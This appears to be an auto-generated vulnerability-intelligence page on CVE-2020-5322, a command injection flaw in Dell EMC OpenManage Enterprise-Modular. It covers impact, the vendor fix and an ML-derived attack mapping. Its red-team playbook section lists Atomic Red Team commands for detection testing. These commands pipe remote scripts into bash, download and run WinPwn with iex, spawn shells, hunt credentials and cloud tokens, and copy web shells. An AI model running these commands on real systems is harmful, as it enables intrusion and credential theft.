CVE-2020-5322
Overview
This vulnerability is a command injection flaw rooted in improper input validation within Dell EMC OpenManage Enterprise-Modular (OME-M). The affected component fails to sanitize shell command inputs, enabling execution of arbitrary commands. The issue specifically resides in the management interface handling privileged user inputs prior to version 1.10.00.
Vulnerability Description
Dell EMC OpenManage Enterprise-Modular (OME-M) versions prior to 1.10.00 contain a command injection vulnerability. A remote authenticated malicious user with high privileges could potentially exploit the vulnerability to execute arbitrary shell commands on the affected system.
Impact
An attacker with authenticated high-privilege access can execute arbitrary shell commands remotely, leading to full system compromise including confidentiality, integrity, and availability breaches. The exploit requires network access and valid credentials with elevated privileges, as indicated by the CVSS vector (PR:H). Successful exploitation can result in unauthorized control over the management system, potentially enabling lateral movement and disruption of enterprise management operations.
Solution
Dell recommends upgrading Dell EMC OpenManage Enterprise-Modular to version 1.10.00 or later as detailed in advisory DSA-2020-023 (https://www.dell.com/support/kbdoc/en-us/000176929/dsa-2020-023-dell-emc-openmanage-enterprise-enterprise-modular-multiple-vulnerabilities). This update addresses the command injection vulnerability. Administrators should follow the vendor’s patching instructions precisely to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in Dell EMC OpenManage Enterprise-Modular versions prior to 1.10.00 allows an authenticated user with elevated privileges to execute arbitrary shell commands on the affected system. This flaw arises from improper validation of user-supplied input, which can be manipulated to include malicious commands. When a high-privileged user interacts with the system, the lack of sufficient input sanitization enables the execution of commands that the attacker can control, potentially leading to unauthorized access and manipulation of the system.
Attack vectors for this vulnerability are particularly concerning due to the requirement for the attacker to possess high-level access. This means that the threat is primarily internal, where a malicious insider or a compromised account can exploit the vulnerability. An attacker could craft a request with malicious payloads that, when processed by the system, would execute arbitrary commands. Scenarios may include altering system configurations, exfiltrating sensitive data, or deploying additional malware to further compromise the environment. Given the nature of the affected product, which is often used in enterprise settings for managing IT infrastructure, the potential for widespread impact is significant, especially if the attacker can pivot to other systems within the network.
The real-world impact of this vulnerability can be severe, particularly for organizations relying on Dell EMC OpenManage for critical infrastructure management. The ability to execute arbitrary commands can lead to unauthorized data access, system downtime, and potential breaches of compliance regulations. The business risks include financial losses due to operational disruptions, reputational damage from data breaches, and potential legal ramifications stemming from non-compliance with data protection laws. Furthermore, the high CVSS score of 9.1 indicates that this vulnerability poses a critical threat, necessitating immediate attention and remediation efforts.
Detection and mitigation strategies should focus on both immediate and long-term measures. Organizations should prioritize updating to the latest version of OpenManage Enterprise-Modular that addresses this vulnerability. Regularly auditing user privileges and implementing the principle of least privilege can help minimize the risk of exploitation by limiting access to only those users who absolutely need it. Additionally, employing intrusion detection systems (IDS) can aid in identifying unusual command executions or patterns of behavior that may indicate exploitation attempts. Implementing robust logging and monitoring practices will also facilitate the detection of any unauthorized activities, allowing for a swift response to potential breaches.
In conclusion, the command injection vulnerability in Dell EMC OpenManage Enterprise-Modular represents a significant threat to organizations utilizing this management tool. The potential for exploitation by high-privileged users underscores the importance of stringent access controls and regular software updates. By adopting a proactive approach to vulnerability management, including detection and mitigation strategies, organizations can better safeguard their systems against this and similar threats, ultimately protecting their critical infrastructure and sensitive data.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Emc Openmanage Enterprise-Modular | All |
cpe:2.3:a:dell:emc_openmanage_enterprise-modular:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-5322 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/kbdoc/en-us/000176929/dsa-2020-023-dell-emc-openmanage-enterprise-enterprise-modular-multiple-vulnerabilities |